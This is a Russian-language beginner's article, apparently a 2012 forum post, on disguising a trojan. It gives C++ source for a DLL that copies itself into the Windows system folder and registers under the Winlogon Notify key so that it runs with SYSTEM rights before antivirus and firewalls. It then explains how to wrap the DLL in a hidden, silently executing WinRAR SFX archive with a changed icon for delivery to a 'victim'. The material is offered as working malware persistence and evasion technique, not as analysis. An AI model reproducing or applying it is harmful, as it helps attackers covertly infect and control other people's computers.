Информация к новости
  • Просмотров: 842
  • Автор: sulicompany
  • Дата: 16-12-2012, 19:05
 (голосов: 0)
16-12-2012, 19:05

Маскировка трояна C++

Категория: IT » Безопасность


Маскировка трояна

Маскируем трояна

[Кодинг для новичков]

 

И так прошу не судить строго это моя первая статья

 

Итак что нам нужно от маскировки трояна?

 

1. обход антивирусов

2. невидимость в процессах

 

Начнем со второго

для начала откажитесь от мысли прятать исполняемый файл, даже если вы спрячите его от таскменегера, то есть куча различных утилит позволяющих его узреть. Значит мы пришли к выводу что делать будем не екзешник (забегу вперед и скажу что после небольших действий в конце концов жертве вы будете впаривать всеже екзе файл)

 

Итак приступим как сделать так чтобы наш трой не был отдельным процессом да написать его в виде dll и попросить winlogon загружать его. таким образом наш код будет стартовать раньше антивирусов и файерволов, и иметь права winloghon'a а это system.

 

итак приступим (я писал в cbuildere):

 

#include 

#include 

#include 

#include 

#include 

#pragma comment(lib,"MEMMGR.LIB")

#pragma hdrstop

 

typedef struct _WLX_NOTIFICATION_INFO

{

ULONG Size ;

ULONG Flags ;

PWSTR UserName ;

PWSTR Domain ;

PWSTR WindowStation ;

HANDLE hToken ;

HDESK hDesktop ;

int pStatusCallback ;

} WLX_NOTIFICATION_INFO, * PWLX_NOTIFICATION_INFO ;

 

extern "C" __declspec(dllexport) LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo);

//---

#pragma argsused

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)

{

return 1;

}

//---------------------------------------------------------------------------

void install(String sys)

{

TRegistry *reg = new TRegistry(KEY_WRITE);

char name[MAX_PATH];

String str;

try

{

//копирование в системную папку

GetModuleFileName(HInstance, name, sizeof(name));

if (sys!=ExtractFileDir(name))

{

str=ExtractFileName(name);

str=sys+""+str;

CopyFile(name,str.c_str(),0);

ShellExecute((void *)0,"open",str.c_str(),NULL,NULL,0);

ExitProcess(0);

}

//добавление в автозапуск

reg->RootKey=HKEY_LOCAL_MACHINE;

reg->OpenKey("software",true);

reg->OpenKey("Microsoft",true);

reg->OpenKey("Windows NT",true);

reg->OpenKey("CurrentVersion",true);

reg->OpenKey("Winlogon",true);

reg->OpenKey("Notify",true);

reg->OpenKey("ms32",true);

reg->WriteString("DLLName",name);

reg->WriteString("Startup","load");

reg->WriteInteger("Impersonate",1);

reg->WriteInteger("Asynchronous",1);

reg->WriteInteger("MaxWait",1);

}

__finally{}

delete reg;

}

//---------------------------------------------------------------------------

LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo)

{

char sysdir[MAX_PATH];

GetSystemDirectory(sysdir,MAX_PATH);

install(sysdir);

 

//здесь код вашего трояна

}

 

 

вот он не сложный код для вашего будущего коня 

 

основная функции должена принимать параметр типа "_WLX_NOTIFICATION_INFO" иначе winlogon не будет с ней работать

(причем совершенно не обязательно чтобы она с ним работала ;) )

далее мы прописываем в реестре несколько нужных нам строк дабы winlogon общался с нашей dll.

 

А теперь как ее превратить в исполняемый файл (ведь не понесете же вы ее к жертве в виде dll)

на самом деле это совершенно просто мы создадим sfx архив.

1. Это уменьшит вес нашего файла раза в 2. 

2. позволит первый раз запустить нашу лошадку как exe

 

добавляем в архив (я пользуюсь winrar'ом), максимальный, sfx.

В параметрах пишем:

путь для распаковки %windir%

после распаковки выплнить rundll32 имя dll , имя функции(в нашем случае load).

далее просим скрыть все процессы

и перезаписывать без вопросов

меняем иконку

 

и все трой готов